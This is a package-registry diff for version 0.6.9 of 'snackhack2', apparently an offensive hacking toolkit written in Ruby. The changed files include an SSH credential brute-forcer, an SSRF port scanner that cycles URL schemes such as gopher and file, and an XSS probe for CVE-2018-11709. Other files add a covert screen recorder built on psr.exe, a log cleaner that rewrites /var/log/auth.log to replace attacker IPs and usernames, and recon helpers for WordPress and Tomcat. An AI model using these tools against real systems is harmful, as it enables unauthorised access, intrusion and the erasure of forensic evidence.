snackhack2 0.6.7 → 0.6.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/snackhack2/SSL.rb +34 -0
- data/lib/snackhack2/bannergrabber.rb +53 -12
- data/lib/snackhack2/comments.rb +4 -2
- data/lib/snackhack2/dns.rb +2 -1
- data/lib/snackhack2/drupal.rb +7 -5
- data/lib/snackhack2/emails.rb +4 -1
- data/lib/snackhack2/forward_remote.rb +1 -1
- data/lib/snackhack2/google_analytics.rb +18 -6
- data/lib/snackhack2/host_injection.rb +93 -0
- data/lib/snackhack2/iplookup.rb +28 -21
- data/lib/snackhack2/list_users.rb +2 -0
- data/lib/snackhack2/phishing_tlds.rb +1 -11
- data/lib/snackhack2/phone_number.rb +66 -25
- data/lib/snackhack2/portscan.rb +11 -1
- data/lib/snackhack2/robots.rb +33 -15
- data/lib/snackhack2/ruby_comments.rb +46 -0
- data/lib/snackhack2/screenshots.rb +7 -0
- data/lib/snackhack2/sitemap.rb +11 -3
- data/lib/snackhack2/sshbrute.rb +6 -0
- data/lib/snackhack2/ssrf.rb +52 -4
- data/lib/snackhack2/subdomains.rb +10 -7
- data/lib/snackhack2/subdomains2.rb +7 -1
- data/lib/snackhack2/tomcat.rb +22 -9
- data/lib/snackhack2/version.rb +1 -1
- data/lib/snackhack2/webserver_log_cleaner.rb +55 -0
- data/lib/snackhack2/website_links.rb +5 -1
- data/lib/snackhack2/website_meta.rb +5 -5
- data/lib/snackhack2/wordpress.rb +63 -13
- data/lib/snackhack2/wpForo_Forum.rb +1 -0
- data/lib/snackhack2.rb +11 -1
- metadata +5 -3
- data/lib/snackhack2/ssh.rb +0 -15
data/lib/snackhack2/robots.rb
CHANGED
|
@@ -2,13 +2,16 @@
|
|
|
2
2
|
|
|
3
3
|
module Snackhack2
|
|
4
4
|
class Robots
|
|
5
|
-
|
|
5
|
+
attr_accessor :port, :site, :save_file, :http
|
|
6
|
+
def initialize(site: "", save_file: true)
|
|
6
7
|
@site = site
|
|
7
|
-
|
|
8
|
-
|
|
8
|
+
|
|
9
|
+
end
|
|
10
|
+
def site=(t)
|
|
11
|
+
@http = File.join(t, 'robots.txt')
|
|
9
12
|
end
|
|
10
13
|
|
|
11
|
-
attr_reader :save_file
|
|
14
|
+
# attr_reader :save_file
|
|
12
15
|
|
|
13
16
|
def run
|
|
14
17
|
save_txt_file = ''
|
|
@@ -28,16 +31,27 @@ module Snackhack2
|
|
|
28
31
|
end
|
|
29
32
|
end
|
|
30
33
|
else
|
|
31
|
-
|
|
32
|
-
|
|
34
|
+
unless allow[1].empty?
|
|
35
|
+
puts "ALLOW: "
|
|
36
|
+
allow[1].each do |a|
|
|
37
|
+
puts a
|
|
38
|
+
end
|
|
39
|
+
end
|
|
40
|
+
unless disallow[1].empty?
|
|
41
|
+
puts "Disallow: "
|
|
42
|
+
disallow[1].each do |d|
|
|
43
|
+
puts d
|
|
44
|
+
end
|
|
45
|
+
end
|
|
33
46
|
end
|
|
34
|
-
|
|
47
|
+
Snackhack2.file_save(@site, 'robots', save_txt_file) if @save_file
|
|
35
48
|
end
|
|
36
49
|
|
|
37
50
|
def allow_robots
|
|
38
51
|
allow_dir = []
|
|
39
|
-
|
|
40
|
-
|
|
52
|
+
http = Snackhack2.get(@http)
|
|
53
|
+
if http.code == 200
|
|
54
|
+
body = http.body.lines
|
|
41
55
|
body.each do |l|
|
|
42
56
|
allow_dir << l.split('Allow: ')[1] if l.match(/Allow:/)
|
|
43
57
|
end
|
|
@@ -46,21 +60,25 @@ module Snackhack2
|
|
|
46
60
|
end
|
|
47
61
|
open_links = []
|
|
48
62
|
allow_dir.each do |path|
|
|
49
|
-
link = Snackhack2.get(
|
|
63
|
+
link = Snackhack2.get(@http)
|
|
50
64
|
if link.code == 200
|
|
51
65
|
valid_links = "#{@site}#{path}"
|
|
52
66
|
open_links << valid_links
|
|
53
67
|
end
|
|
54
68
|
end
|
|
55
|
-
open_links
|
|
69
|
+
[ open_links, allow_dir]
|
|
56
70
|
end
|
|
57
71
|
|
|
58
72
|
def disallow_robots
|
|
73
|
+
http = Snackhack2.get(@http)
|
|
59
74
|
disallow_dir = []
|
|
60
|
-
if
|
|
61
|
-
body =
|
|
75
|
+
if http.code == 200
|
|
76
|
+
body = http.body.lines
|
|
62
77
|
body.each do |l|
|
|
63
|
-
|
|
78
|
+
if l.match(/Disallow:/)
|
|
79
|
+
|
|
80
|
+
disallow_dir << l.split('Disallow: ')[1]
|
|
81
|
+
end
|
|
64
82
|
end
|
|
65
83
|
else
|
|
66
84
|
puts "[+] Not giving code 200.\n"
|
|
@@ -74,7 +92,7 @@ module Snackhack2
|
|
|
74
92
|
end
|
|
75
93
|
rescue StandardError
|
|
76
94
|
end
|
|
77
|
-
open_links
|
|
95
|
+
[ open_links, disallow_dir]
|
|
78
96
|
end
|
|
79
97
|
end
|
|
80
98
|
end
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
module Snackhack2
|
|
2
|
+
class RubyComments
|
|
3
|
+
attr_accessor :file
|
|
4
|
+
def initialize
|
|
5
|
+
@file = file
|
|
6
|
+
end
|
|
7
|
+
def comment_block
|
|
8
|
+
if File.exist?(@file)
|
|
9
|
+
comments = []
|
|
10
|
+
in_comment_block = false
|
|
11
|
+
File.readlines(@file).each do |file|
|
|
12
|
+
file.each_line do |line|
|
|
13
|
+
if line.strip.eql? '=begin'
|
|
14
|
+
in_comment_block = true
|
|
15
|
+
next
|
|
16
|
+
elsif line.strip.eql? '=end'
|
|
17
|
+
in_comment_block = false
|
|
18
|
+
next
|
|
19
|
+
end
|
|
20
|
+
|
|
21
|
+
if in_comment_block
|
|
22
|
+
comments << line
|
|
23
|
+
end
|
|
24
|
+
end
|
|
25
|
+
end
|
|
26
|
+
comments.each do |c|
|
|
27
|
+
puts c
|
|
28
|
+
end
|
|
29
|
+
else
|
|
30
|
+
puts "#{@file} does not exist."
|
|
31
|
+
end
|
|
32
|
+
end
|
|
33
|
+
def comments
|
|
34
|
+
if File.exist?(@file)
|
|
35
|
+
File.readlines(@file).each do |l|
|
|
36
|
+
line = l.to_s
|
|
37
|
+
if line.to_s.start_with?("#")
|
|
38
|
+
puts l
|
|
39
|
+
end
|
|
40
|
+
end
|
|
41
|
+
else
|
|
42
|
+
puts "#{@file} does not exist."
|
|
43
|
+
end
|
|
44
|
+
end
|
|
45
|
+
end
|
|
46
|
+
end
|
|
@@ -12,12 +12,19 @@ module Snackhack2
|
|
|
12
12
|
end
|
|
13
13
|
|
|
14
14
|
def run
|
|
15
|
+
# creates a `.bat` filw with a command that will start the screen recordings
|
|
15
16
|
File.open('lol.bat', 'w+') { |file| file.write("psr.exe /start /output #{@zip} /sc 1 /gui 0") }
|
|
17
|
+
# this will save a .bat file that will stop the recording
|
|
16
18
|
File.open('lol2.bat', 'w+') { |file| file.write('psr.exe /stop') }
|
|
19
|
+
# run `lol.bat`
|
|
17
20
|
Process.spawn('lol.bat')
|
|
21
|
+
# sleeps for the amount of time declared in instance variable `@time` which by
|
|
22
|
+
# defualt is 60 seconds
|
|
18
23
|
sleep @time.to_i
|
|
24
|
+
# runs lol2.bat
|
|
19
25
|
system('lol2.bat')
|
|
20
26
|
sleep 2
|
|
27
|
+
# deletes both `lol.bat` and `lol2.bat`.
|
|
21
28
|
File.delete('lol.bat')
|
|
22
29
|
File.delete('lol2.bat')
|
|
23
30
|
end
|
data/lib/snackhack2/sitemap.rb
CHANGED
|
@@ -4,14 +4,22 @@ require 'httparty'
|
|
|
4
4
|
require 'nokogiri'
|
|
5
5
|
module Snackhack2
|
|
6
6
|
class SiteMap
|
|
7
|
-
|
|
7
|
+
attr_accessor :site
|
|
8
|
+
def initialize
|
|
8
9
|
@site = site
|
|
9
10
|
end
|
|
10
11
|
|
|
11
12
|
def run
|
|
13
|
+
# adds `sitemap.xml` to the site given
|
|
14
|
+
# defined in `@site` instance variable.
|
|
12
15
|
sm = Snackhack2.get(File.join(@site, 'sitemap.xml'))
|
|
13
|
-
|
|
14
|
-
|
|
16
|
+
# site returns 200 status code
|
|
17
|
+
if sm.code.to_i.eql?(200)
|
|
18
|
+
# checks the body of the page to detetmine if the words
|
|
19
|
+
# `Not Found` is it
|
|
20
|
+
unless sm.body.include?('Not Found')
|
|
21
|
+
# the page did not include "Not Found". Saving the contents of the sitemap.xml
|
|
22
|
+
# to a file.
|
|
15
23
|
Snackhack2.file_save(@site, 'site.xml', sm.body)
|
|
16
24
|
else
|
|
17
25
|
puts "[+] Eh. I don't think the site has a sitemap. Manually check just in case... :(\n\n"
|
data/lib/snackhack2/sshbrute.rb
CHANGED
|
@@ -10,11 +10,14 @@ module Snackhack2
|
|
|
10
10
|
end
|
|
11
11
|
|
|
12
12
|
def list
|
|
13
|
+
# the list of usernames and password.
|
|
14
|
+
# username:password
|
|
13
15
|
File.join(__dir__, 'lists', 'sshbrute.txt')
|
|
14
16
|
end
|
|
15
17
|
|
|
16
18
|
def run
|
|
17
19
|
threads = []
|
|
20
|
+
# uses threads to make it faster
|
|
18
21
|
File.readlines(list).each { |usr, pass| threads << Thread.new { brute(usr, pass) } }
|
|
19
22
|
threads.each(&:join)
|
|
20
23
|
|
|
@@ -22,8 +25,11 @@ module Snackhack2
|
|
|
22
25
|
end
|
|
23
26
|
|
|
24
27
|
def brute(username, pass)
|
|
28
|
+
# does the bruting.
|
|
29
|
+
# saves the valid creds to the @success_list instance variable array
|
|
25
30
|
Net::SSH.start(@ip, username, password: pass, timeout: 1) do |ssh|
|
|
26
31
|
@success_list << [username, pass]
|
|
32
|
+
# runs the `hostame command if valid
|
|
27
33
|
ssh.exec!('hostname')
|
|
28
34
|
end
|
|
29
35
|
rescue Net::SSH::AuthenticationFailed
|
data/lib/snackhack2/ssrf.rb
CHANGED
|
@@ -2,15 +2,63 @@
|
|
|
2
2
|
|
|
3
3
|
# Process.spawn("ruby -run -ehttpd . -p8008")
|
|
4
4
|
# sleep 10
|
|
5
|
+
require 'typhoeus'
|
|
5
6
|
module Snackhack2
|
|
6
7
|
class SSRF
|
|
7
|
-
attr_accessor :site
|
|
8
|
-
|
|
8
|
+
attr_accessor :site, :ssrf_site, :protocol
|
|
9
9
|
def initialize
|
|
10
10
|
@site = site
|
|
11
|
+
@ssrf_site = ssrf_site
|
|
12
|
+
@protocol = protocol
|
|
11
13
|
end
|
|
12
|
-
|
|
13
|
-
|
|
14
|
+
def get_protocol
|
|
15
|
+
case @protocol.downcase
|
|
16
|
+
when "https"
|
|
17
|
+
"https://"
|
|
18
|
+
when "ftp"
|
|
19
|
+
"ftp://"
|
|
20
|
+
when "http"
|
|
21
|
+
"http://"
|
|
22
|
+
when "file"
|
|
23
|
+
"file://"
|
|
24
|
+
when "dict"
|
|
25
|
+
"dict://"
|
|
26
|
+
when "gopher"
|
|
27
|
+
"gopher://"
|
|
28
|
+
when "sftp"
|
|
29
|
+
"sftp://"
|
|
30
|
+
when "tftp"
|
|
31
|
+
"tftp://"
|
|
32
|
+
when "ldap"
|
|
33
|
+
"ldap://"
|
|
34
|
+
end
|
|
35
|
+
end
|
|
36
|
+
def http_port_scan(port_count: 8082)
|
|
37
|
+
hydra = Typhoeus::Hydra.new
|
|
38
|
+
i = 0
|
|
39
|
+
# Where found ports will be saved.
|
|
40
|
+
found_ports = []
|
|
41
|
+
# tries 65530 ports
|
|
42
|
+
65530.times.each_with_index.map{ |i|
|
|
43
|
+
# adds the port to @ssrf
|
|
44
|
+
site = @site.gsub("SSRF", "#{@ssrf_site}") + ":" + i.to_s
|
|
45
|
+
request = Typhoeus::Request.new("#{site}", followlocation: true)
|
|
46
|
+
hydra.queue(request)
|
|
47
|
+
request.on_complete do |response|
|
|
48
|
+
# If the response code returns 200 it will save
|
|
49
|
+
# the port number to `found_ports`.
|
|
50
|
+
if response.code.to_i.eql?(200)
|
|
51
|
+
puts i
|
|
52
|
+
puts "#{response.code}"
|
|
53
|
+
found_ports << i
|
|
54
|
+
end
|
|
55
|
+
end
|
|
56
|
+
}
|
|
57
|
+
hydra.run
|
|
58
|
+
# returns the `found_ports` array.
|
|
59
|
+
found_ports
|
|
60
|
+
end
|
|
61
|
+
def ssrf_google
|
|
14
62
|
url = @site.gsub('SSRF', 'http://google.com')
|
|
15
63
|
ht = HTTParty.get(url)
|
|
16
64
|
if ht.body.include?("Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for.")
|
|
@@ -5,16 +5,14 @@ require 'resolv'
|
|
|
5
5
|
require 'async/http/internet'
|
|
6
6
|
module Snackhack2
|
|
7
7
|
class Subdomains
|
|
8
|
-
|
|
8
|
+
attr_accessor :site
|
|
9
|
+
def initialize(wordlist: nil)
|
|
9
10
|
@site = site
|
|
10
11
|
@wordlist = wordlist
|
|
11
12
|
end
|
|
12
13
|
|
|
13
|
-
def site
|
|
14
|
-
@site.gsub('https://', '')
|
|
15
|
-
end
|
|
16
|
-
|
|
17
14
|
def wordlist
|
|
15
|
+
# gets the location of the subdomains list
|
|
18
16
|
File.join(__dir__, 'lists', 'subdomains.txt')
|
|
19
17
|
end
|
|
20
18
|
|
|
@@ -26,10 +24,15 @@ module Snackhack2
|
|
|
26
24
|
|
|
27
25
|
def brute
|
|
28
26
|
found = ''
|
|
27
|
+
# loops through each of the subdomains and adds it to
|
|
28
|
+
# the site which checks if it returns a `200` status code or `300` status code
|
|
29
|
+
unless @site.nil?
|
|
30
|
+
@site = @site.gsub("https://", "")
|
|
31
|
+
end
|
|
29
32
|
File.readlines(wordlist).each do |l|
|
|
30
|
-
s = "#{l.strip}.#{site}"
|
|
33
|
+
s = "#{l.strip}.#{@site}"
|
|
34
|
+
p File.join('https://', s)
|
|
31
35
|
begin
|
|
32
|
-
puts File.join('https://', s)
|
|
33
36
|
g = Snackhack2.get(File.join('https://', s))
|
|
34
37
|
if g.code == 200
|
|
35
38
|
found += "#{s}\n"
|
|
@@ -3,7 +3,8 @@
|
|
|
3
3
|
require 'async/http/internet'
|
|
4
4
|
module Snackhack2
|
|
5
5
|
class Subdomains2
|
|
6
|
-
|
|
6
|
+
attr_accessor :site
|
|
7
|
+
def initialize
|
|
7
8
|
@site = site
|
|
8
9
|
@urls = []
|
|
9
10
|
end
|
|
@@ -18,7 +19,10 @@ module Snackhack2
|
|
|
18
19
|
|
|
19
20
|
def run
|
|
20
21
|
File.readlines(wordlist).each do |a|
|
|
22
|
+
# removes `https://` from the instance variable
|
|
23
|
+
# `@site`. Adds the subdomain from the file to test if it is valid
|
|
21
24
|
url = "https://#{a.strip}.#{@site.gsub('https://', '')}"
|
|
25
|
+
|
|
22
26
|
fetch(url)
|
|
23
27
|
puts url
|
|
24
28
|
end
|
|
@@ -30,6 +34,8 @@ module Snackhack2
|
|
|
30
34
|
task.with_timeout(2) do
|
|
31
35
|
internet = Async::HTTP::Internet.new
|
|
32
36
|
m = internet.get(url, { 'user-agent' => Snackhack2::UA })
|
|
37
|
+
# only adds it to the @url instance variable if
|
|
38
|
+
# it returns a status code of `200` OR `301`
|
|
33
39
|
@urls << url if (m.status == 200) || (m.status == 301)
|
|
34
40
|
m.read
|
|
35
41
|
end
|
data/lib/snackhack2/tomcat.rb
CHANGED
|
@@ -3,20 +3,33 @@
|
|
|
3
3
|
require 'nokogiri'
|
|
4
4
|
module Snackhack2
|
|
5
5
|
class TomCat
|
|
6
|
-
|
|
6
|
+
attr_accessor :site
|
|
7
|
+
def initialize
|
|
7
8
|
@site = site
|
|
8
9
|
end
|
|
9
10
|
|
|
10
11
|
def run
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
12
|
+
# adds `/docs/` to the instance variable @site
|
|
13
|
+
tc = Snackhack2.get(@site)
|
|
14
|
+
if tc.headers.has_key?("server")
|
|
15
|
+
if tc.headers['server'].match?("Tomcat")
|
|
16
|
+
puts "[+] Found Tomcat in the site's header... #{tc.headers['server']}\n\n\n"
|
|
17
|
+
tc_body = Snackhack2.get(File.join(@site, '/docs/'))
|
|
18
|
+
if tc_body.code.to_i.eql?(404)
|
|
19
|
+
if tc_body.body.include?('Tomcat')
|
|
20
|
+
doc = Nokogiri::HTML(tc.body)
|
|
21
|
+
# it will then extract the version displayed if
|
|
22
|
+
# the word is found
|
|
23
|
+
begin
|
|
24
|
+
# use to get the version
|
|
25
|
+
version = doc.at('h3').text
|
|
26
|
+
puts "[+] Looks like the site is Tomcat, running #{version}."
|
|
27
|
+
rescue => e
|
|
28
|
+
puts "ERROR: #{e}"
|
|
29
|
+
end
|
|
30
|
+
end
|
|
31
|
+
end
|
|
17
32
|
end
|
|
18
|
-
else
|
|
19
|
-
puts "[+] Status code: #{tc.code}"
|
|
20
33
|
end
|
|
21
34
|
end
|
|
22
35
|
end
|
data/lib/snackhack2/version.rb
CHANGED
|
@@ -16,6 +16,7 @@ module Snackhack2
|
|
|
16
16
|
File.readlines(@path).each do |line|
|
|
17
17
|
old_ip = line.match(/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/)
|
|
18
18
|
out += if old_ip.to_s == @ip
|
|
19
|
+
# replaces the old IP with the new_ip
|
|
19
20
|
line.gsub(old_ip.to_s, new_ip)
|
|
20
21
|
else
|
|
21
22
|
line
|
|
@@ -25,4 +26,58 @@ module Snackhack2
|
|
|
25
26
|
File.open(@path, 'w+') { |file| file.write(out) }
|
|
26
27
|
end
|
|
27
28
|
end
|
|
29
|
+
class AuthLog
|
|
30
|
+
attr_accessor :ip, :user
|
|
31
|
+
def initialize(path: File.join("/var", "log", "auth.log.2"), user: "root")
|
|
32
|
+
@ip = ip
|
|
33
|
+
@user = user
|
|
34
|
+
@user_list = ["user", "admin", "nobody", "proxy", "test", "tom", "frank", "irc", "sshd", "mail"]
|
|
35
|
+
@path = path
|
|
36
|
+
end
|
|
37
|
+
def remove_username
|
|
38
|
+
# replaces the username inputted with one
|
|
39
|
+
# 'randomly' picked from @user_list
|
|
40
|
+
out = ""
|
|
41
|
+
# loops through the given file
|
|
42
|
+
File.readlines(@path).each do |user|
|
|
43
|
+
new_user = user.match(/#{@user}/)
|
|
44
|
+
if new_user.to_s.eql?(@user)
|
|
45
|
+
# replaces the matched user with a
|
|
46
|
+
# 'randomly' ( .sample) user
|
|
47
|
+
out += user.gsub(new_user.to_s, @user_list.sample)
|
|
48
|
+
else
|
|
49
|
+
# if it does not match it will add the non matched
|
|
50
|
+
# line to the newly created one
|
|
51
|
+
out += user
|
|
52
|
+
end
|
|
53
|
+
end
|
|
54
|
+
File.delete(@path)
|
|
55
|
+
File.open(@path, 'w+') { |file| file.write(out) }
|
|
56
|
+
end
|
|
57
|
+
def remove_ip
|
|
58
|
+
out = ''
|
|
59
|
+
# generate random IP
|
|
60
|
+
new_ip = Array.new(4) { rand(256) }.join('.')
|
|
61
|
+
File.readlines(@path).each do |line|
|
|
62
|
+
# Uses .match and regex to match IPs
|
|
63
|
+
old_ip = line.match(/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/)
|
|
64
|
+
out += if old_ip.to_s == @ip
|
|
65
|
+
# replace the foud ip with a randomly generated IP
|
|
66
|
+
line.gsub(old_ip.to_s, new_ip)
|
|
67
|
+
else
|
|
68
|
+
# if it does not find the inputted IP
|
|
69
|
+
# it will return the line
|
|
70
|
+
line
|
|
71
|
+
end
|
|
72
|
+
end
|
|
73
|
+
# deletes the @path
|
|
74
|
+
File.delete(@path)
|
|
75
|
+
# saves the new log to the old path
|
|
76
|
+
File.open(@path, 'w+') { |file| file.write(out) }
|
|
77
|
+
end
|
|
78
|
+
def remove_all
|
|
79
|
+
remove_ip
|
|
80
|
+
remove_username
|
|
81
|
+
end
|
|
82
|
+
end
|
|
28
83
|
end
|
|
@@ -12,10 +12,14 @@ module Snackhack2
|
|
|
12
12
|
end
|
|
13
13
|
|
|
14
14
|
def run
|
|
15
|
+
# uses nokogiri to get the source of the page
|
|
15
16
|
doc = Nokogiri::HTML(URI.open(@site))
|
|
17
|
+
# uses the xpath to get all the links on the source code
|
|
16
18
|
links = doc.xpath('//a')
|
|
19
|
+
# gets the links
|
|
17
20
|
all_links = links.map { |e| e['href'] }.compact
|
|
18
|
-
|
|
21
|
+
# remove any duplicates
|
|
22
|
+
content = all_links.uniq.join("\n")
|
|
19
23
|
if @save_file
|
|
20
24
|
Snackhack2.file_save(@site, 'links', content)
|
|
21
25
|
else
|
|
@@ -6,7 +6,7 @@ module Snackhack2
|
|
|
6
6
|
class WebsiteMeta
|
|
7
7
|
attr_accessor :site
|
|
8
8
|
|
|
9
|
-
def initialize
|
|
9
|
+
def initialize
|
|
10
10
|
@site = site
|
|
11
11
|
end
|
|
12
12
|
|
|
@@ -14,17 +14,17 @@ module Snackhack2
|
|
|
14
14
|
doc = Nokogiri::HTML(URI.open(@site))
|
|
15
15
|
posts = doc.xpath('//meta')
|
|
16
16
|
posts.each do |link|
|
|
17
|
+
# displays the meta tags of name, content and name
|
|
17
18
|
puts "#{link.attributes['name']}: #{link.attributes['content']}" unless link.attributes['name'].nil?
|
|
18
19
|
end
|
|
19
20
|
end
|
|
20
21
|
def description
|
|
21
22
|
begin
|
|
22
23
|
doc = Nokogiri::HTML(URI.open("https://#{@site}", "User-Agent" => Snackhack2::UA))
|
|
23
|
-
|
|
24
|
-
|
|
24
|
+
unless doc.xpath('/html/head/meta[@name="description"]/@content').to_s.empty?
|
|
25
|
+
# extracts the description tag from meta tags
|
|
26
|
+
puts doc.xpath('/html/head/meta[@name="description"]/@content').to_s
|
|
25
27
|
end
|
|
26
|
-
#dsp <<
|
|
27
|
-
|
|
28
28
|
rescue => e
|
|
29
29
|
puts "ERROR: #{e}"
|
|
30
30
|
end
|
data/lib/snackhack2/wordpress.rb
CHANGED
|
@@ -54,6 +54,7 @@ module Snackhack2
|
|
|
54
54
|
end
|
|
55
55
|
|
|
56
56
|
def wp_login
|
|
57
|
+
# detects if the site is using wordpress
|
|
57
58
|
percent = 0
|
|
58
59
|
## todo: maybe add Bayes Theorem to detect wp
|
|
59
60
|
wp = ['wp-includes', 'wp-admin', 'Powered by WordPress', 'wp-login.php', 'yoast.com/wordpress/plugins/seo/',
|
|
@@ -71,25 +72,73 @@ module Snackhack2
|
|
|
71
72
|
puts "Wordpress Points: #{percent}"
|
|
72
73
|
end
|
|
73
74
|
|
|
74
|
-
def yoast_seo
|
|
75
|
+
def yoast_seo(print_version: false)
|
|
76
|
+
# checks to see if the wordpress site
|
|
77
|
+
# uses the yoast seo plugin
|
|
75
78
|
ys = Snackhack2.get(@site)
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
79
|
+
if ys.code.to_i.eql?(200)
|
|
80
|
+
if ys.body.match?("Yoast")
|
|
81
|
+
v = ys.body.scan(/This site is optimized with the Yoast SEO plugin\sv\d\d\.\d/).join(" ")
|
|
82
|
+
# makes sure the word 'plugin' is in the 'v' string
|
|
83
|
+
if v.include?("plugin")
|
|
84
|
+
# gets the version
|
|
85
|
+
version = v.split("plugin")[1].strip
|
|
86
|
+
end
|
|
87
|
+
end
|
|
88
|
+
end
|
|
89
|
+
unless print_version
|
|
90
|
+
return version
|
|
91
|
+
else
|
|
92
|
+
puts "Yoast Seo is running version: #{version}"
|
|
82
93
|
end
|
|
83
94
|
end
|
|
84
95
|
|
|
85
|
-
def
|
|
96
|
+
def find_plugins(print_version: true)
|
|
97
|
+
found_versions = {}
|
|
86
98
|
alios = Snackhack2.get(@site)
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
99
|
+
if alios.code.eql?(200)
|
|
100
|
+
data = {"Yoast SEO plugin " => 'Yoast SEO plugin v\d\d\.\d',
|
|
101
|
+
"MonsterInsights plugin" => 'MonsterInsights plugin v\d\d\.\d\.\d',
|
|
102
|
+
"All in One SEO" => 'All in One SEO \d\.\d\.\d\.\d',
|
|
103
|
+
"Site Kit by Google" => 'Site Kit by Google \d\.\d\d\d\.\d',
|
|
104
|
+
"Google Analytics by ExactMetrics plugin" => 'Google Analytics by ExactMetrics plugin v\d\.\d\d\.\d', "HubSpot WordPress plugin" => 'HubSpot WordPress plugin v\d\d\.\d\.\d\d', "Simple Social Buttons" => 'Simple Social Buttons \d\.2\.0',
|
|
105
|
+
"Powered by Slider Revolution" => 'Powered by Slider Revolution \d\.\d\.\d\d', "Generated By Events-Calendar - Version:" => 'Generated By Events-Calendar - Version: \d\.\d\.\d',
|
|
106
|
+
"Open Graph and Twitter Card Tags" => 'Open Graph and Twitter Card Tags \d\.\d\.\d',
|
|
107
|
+
"Google Analytics Tracking by Google Analyticator" => 'Google Analytics Tracking by Google Analyticator \d\.\d\.\d', "REVOLUTION SLIDER" => 'REVOLUTION SLIDER \d\.\d\.\d',
|
|
108
|
+
"Generated By sidebarTabs" => 'Generated By sidebarTabs \d\.\d',\
|
|
109
|
+
"Yoast WordPress SEO plugin" => 'Yoast WordPress SEO plugin v\d\.\d\.\d',
|
|
110
|
+
"Yoast SEO Premium plugin" => 'Yoast SEO Premium plugin v\d\d\.\d \(Yoast SEO v27\.1\.1\)',
|
|
111
|
+
"Google Analytics by MonsterInsights plugin" => 'Google Analytics by MonsterInsights plugin v\d\d\.\d\.\d',
|
|
112
|
+
"All in One SEO (AIOSEO\)" => 'All in One SEO \(AIOSEO\) \d\.\d\.\d',
|
|
113
|
+
"EduBlock PRO" => 'EduBlock PRO \d\.\d\.\d',
|
|
114
|
+
"WPZOOM Framework" => 'WPZOOM Framework \d\.0\.\d',
|
|
115
|
+
"WPML" => 'WPML ver:\d\.\d\.\d',
|
|
116
|
+
"Redux" => 'Redux \d\.\d\.\d',
|
|
117
|
+
"WordPress Download Manager"=> 'WordPress Download Manager \d\.\d\.\d\d',
|
|
118
|
+
"WP Rocket" => 'WP Rocket \d\.\d\d\.\d',
|
|
119
|
+
"WooCommerce" => 'WooCommerce \d\d\.\d\.\d',
|
|
120
|
+
"Yoast SEO plugin" => 'Yoast SEO plugin v\d\.\d',
|
|
121
|
+
"Divi" => 'Divi v\.\d\.\d\d\.\d',
|
|
122
|
+
"WordPress" => 'WordPress \d\.\d\.\d',
|
|
123
|
+
"Newtek ChildTheme Base for Divi " => 'Newtek ChildTheme Base for Divi v\.\d\.\d',
|
|
124
|
+
"Presence" => 'Presence \d\.\d\.\d\d',
|
|
125
|
+
"WPZOOM Framework" => 'WPZOOM Framework \d\.\d\.\d'}
|
|
126
|
+
data.each do |name, regex|
|
|
127
|
+
version = alios.body.scan(/#{regex}/)
|
|
128
|
+
|
|
129
|
+
unless version.empty?
|
|
130
|
+
found_versions[name] = version.shift.gsub(name, "").strip
|
|
131
|
+
end
|
|
132
|
+
end
|
|
133
|
+
end
|
|
134
|
+
unless print_version
|
|
135
|
+
return found_versions
|
|
136
|
+
else
|
|
137
|
+
found_versions.each do |name, version|
|
|
138
|
+
puts "#{name}: #{version}"
|
|
139
|
+
end
|
|
140
|
+
end
|
|
91
141
|
end
|
|
92
|
-
|
|
93
142
|
def wp_log
|
|
94
143
|
wplog_score = 0
|
|
95
144
|
wp = ['\wp-content\plugins', 'PHP Notice', 'wp-cron.php', '/var/www/html', 'Yoast\WP\SEO', 'wordpress-seo']
|
|
@@ -105,6 +154,7 @@ module Snackhack2
|
|
|
105
154
|
|
|
106
155
|
def wp_plugin
|
|
107
156
|
wp_plugin_score = 0
|
|
157
|
+
# text in which it will search for
|
|
108
158
|
wp = ['Index of', 'Name', 'Last modified', 'Size', 'Parent Directory', '/wp-content/plugins']
|
|
109
159
|
plug = Snackhack2.get(File.join(@site, '/wp-content/plugins/'))
|
|
110
160
|
if plug.code == 200
|
|
@@ -14,6 +14,7 @@ module Snackhack2
|
|
|
14
14
|
def run
|
|
15
15
|
wp = HTTParty.get(File.join(@site, '/index.php/community/?%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E'))
|
|
16
16
|
if wp.code == 200
|
|
17
|
+
# if `XSS` is found it means the site MIGHT be vulnerable
|
|
17
18
|
puts "[+] #{@site} is vulnerable to CVE-2018-11709..." if wp.match(/XSS/)
|
|
18
19
|
else
|
|
19
20
|
puts "[+] HTTP code #{wp.code}"
|
data/lib/snackhack2.rb
CHANGED
|
@@ -86,7 +86,17 @@ module Snackhack2
|
|
|
86
86
|
File.delete(file)
|
|
87
87
|
end
|
|
88
88
|
end
|
|
89
|
-
|
|
89
|
+
def self.read_emails
|
|
90
|
+
email_filter = []
|
|
91
|
+
Dir['*_emails.txt'].each do |file|
|
|
92
|
+
File.readlines(file).each do |k|
|
|
93
|
+
domain = k.split(".")[1].strip
|
|
94
|
+
unless domain.eql?("png")
|
|
95
|
+
puts k
|
|
96
|
+
end
|
|
97
|
+
end
|
|
98
|
+
end
|
|
99
|
+
end
|
|
90
100
|
def self.read_portscan
|
|
91
101
|
files = Dir['*_port_scan.txt']
|
|
92
102
|
files.each do |f|
|